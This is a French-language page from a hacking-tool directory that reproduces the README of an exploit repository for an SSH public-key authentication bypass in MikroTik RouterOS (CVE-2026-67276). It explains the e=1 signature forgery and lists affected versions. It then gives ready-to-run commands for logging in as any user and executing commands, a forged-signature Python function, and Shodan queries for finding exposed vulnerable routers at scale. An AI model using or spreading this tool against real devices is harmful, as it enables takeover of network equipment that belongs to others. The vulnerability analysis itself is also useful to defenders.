Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
exploit-mikrotik-2026 — CVE-2026-67276 Exploit de contournement de l'authentification SSH de MikroTik RouterOS | Kitploit
Outils/GitHubGitHub/blackhatexploitation/exploit-mikrotik-2026
ReconnaissanceAnalyse des VulnérabilitésExploitationCollecte d'InformationsSécurité RéseauTests d'IntrusionAuthentification
GitHubblackhatexploitation/exploit-mikrotik-2026

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

exploit-mikrotik-2026

CVE-2026-67276 Exploit de contournement de l'authentification SSH de MikroTik RouterOS

Voir le dépôt
102146il y a 1 moisPas encore vérifié
Partager

CVE-2026-67276 - Exploit de contournement d'authentification SSH MikroTrik

CVE Severity Type Platform

Contournement de l'authentification par clé publique SSH MikroTik RouterOS - Aucune clé privée requise

Une preuve de concept pour CVE-2026-67276 (MikroTrick), une vulnérabilité critique de contournement d'authentification dans l'implémentation SSH de MikroTik RouterOS qui permet aux attaquants de s'authentifier en tant que n'importe quel utilisateur sans posséder leur clé privée.


Table des matières

  • Présentation de la vulnérabilité
  • Comment ça fonctionne
  • Versions concernées
  • Installation
  • Utilisation
  • Reconnaissance Shodan
  • Détails techniques
  • Remédiation
  • Références
  • Avertissement

Présentation de la vulnérabilité

DétailInformation
ID CVECVE-2026-67276
SévéritéCritique (CVSS 9.8)
CWECWE-347 (Vérification incorrecte de la signature cryptographique)
Vecteur d'attaqueRéseau
AuthentificationAucune
ComplexitéFaible
ImpactCompromission totale de l'appareil

La chaîne d'attaque MikroTrick

CVE-2026-67276 fait partie d'une chaîne d'attaque plus large surnommée « MikroTrick » par CERT PL, qui a été observée comme étant activement exploitée dans la nature :

CVETypeDescription
CVE-2026-67276Contournement d'authentificationContournement de l'authentification par clé publique SSH via falsification de l'exposant
CVE-2026-86060Élévation de privilègesInjection d'arguments via le nom d'utilisateur
CVE-2026-67279Contournement d'authentificationConnexion SSH sans userauth complété
CVE-2026-67277Divulgation d'informationsFuite de mémoire du noyau via bandwidth-test
CVE-2026-67278Contournement de signatureAcceptation de signature X.509 malformée
CVE-2026-67281Lecture de fichierLecture de fichier racine WebFig via jsproxy

Comment ça fonctionne

La vulnérabilité

L'authentification SSH de RouterOS présente un défaut critique dans la façon dont elle valide les clés publiques :

  1. Bug de correspondance de clé : RouterOS fait correspondre le blob de clé publique SSH présenté avec les clés autorisées en utilisant uniquement (type de clé, module), en omettant complètement l'exposant
  2. Exposant provenant du client : La vérification de signature utilise l'exposant du blob fourni par le client, et non la clé stockée
  3. Falsification triviale : Présenter {ssh-rsa, e=1, n=module_victime} rend la vérification triviale

Base mathématique

Vérification RSA standard :  sig^65537 mod n == attendu  (nécessite la clé privée)
Vérification exploitée :     sig^1 mod n == sig           (AUCUNE clé privée nécessaire !)

Avec l'exposant e=1, la vérification de signature devient :

sig^1 mod n == sig

Cela signifie que la « signature » est simplement le message encodé EMSA-PKCS1-v1_5 lui-même - constructible par quiconque connaît le module public de la victime.

Prérequis de l'attaque

  1. Nom d'utilisateur cible d'un compte avec une clé RSA autorisée
  2. Le module public RSA n de cette clé autorisée (à partir du fichier .pub, des connexions précédentes, etc.)
  3. Accès réseau au port SSH

Versions concernées

BranchePlage vulnérableVersion corrigée
6.x6.0 - 6.49.206.49.21+
7.x stable7.0 - 7.23.37.23.4+
7.x testing7.24.0 - 7.24.17.24.2+

Installation

# Cloner le dépôt
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# Installer les dépendances
pip install paramiko cryptography

Utilisation

Démarrage rapide

# Exploit de base - génère automatiquement la clé, détecte la version
python3 full_exploit.py --host 192.168.88.1 --username admin

# Exécuter une commande après l'authentification
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# Port personnalisé
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

Utilisation d'une clé publique existante

# Si vous disposez du fichier de clé publique de la victime
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# Ou fournir le module directement
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

Détection de version

L'exploit détecte automatiquement la version de RouterOS et vérifie le statut de vulnérabilité :

# Forcer l'exploit même sur une version non-MikroTik ou inconnue
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

Toutes les options

--host              IP/nom d'hôte RouterOS cible (requis)
--port              Port SSH (défaut : 22)
--username          Nom d'utilisateur RouterOS cible (requis)
--pubkey            Fichier de clé publique RSA (généré automatiquement si non fourni)
--modulus-hex       Module RSA en hexadécimal (alternative à --pubkey)
--algos             Algorithmes de signature (défaut : ssh-rsa,rsa-sha2-256)
--exec              Commande à exécuter après l'authentification
--exp-enc           Encodage de l'exposant : canonique (1 octet) ou aligné (3 octets)
--timeout           Délai d'expiration de connexion (défaut : 15,0 secondes)
--skip-version-check    Ignorer la vérification de version RouterOS
--shodan-dorks      Afficher les requêtes de recherche Shodan
--shodan-search     Rechercher des cibles via l'API Shodan
--shodan-key        Clé API Shodan
--shodan-query      Requête Shodan personnalisée
--shodan-limit      Limite de résultats Shodan (défaut : 100)

Reconnaissance Shodan

Afficher les dorks

python3 full_exploit.py --shodan-dorks

Rechercher via l'API Shodan

# Recherche de base
python3 full_exploit.py --shodan-search --shodan-key VOTRE_CLE_API

# Requête personnalisée
python3 full_exploit.py --shodan-search --shodan-key VOTRE_CLE --shodan-query 'MikroTik port:22 country:US'

Requêtes Shodan utiles

CibleRequête
Tous les MikroTikMikroTik
MikroTik SSHMikroTik port:22
Winbox exposéport:8291
Panneau WebFighttp.title:RouterOS
RouterOS 6.49.xMikroTik "6.49"
RouterOS 7.xMikroTik "RouterOS v7"
Par paysMikroTik country:US
Indice de vulnérabilitéMikroTik ("6.49" OR "7.23" OR "7.24.0")

Détails techniques

Structure du blob de clé publique SSH

string    "ssh-rsa"
mpint     e (exposant public)  <- L'attaquant fournit e=1
mpint     n (module)          <- Module réel de la victime

Génération de signature falsifiée

# La « signature » est simplement les données d'authentification encodées EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # Ceci EST la signature valide lorsque e=1

Notes sur le format filaire

Télécharger l’outil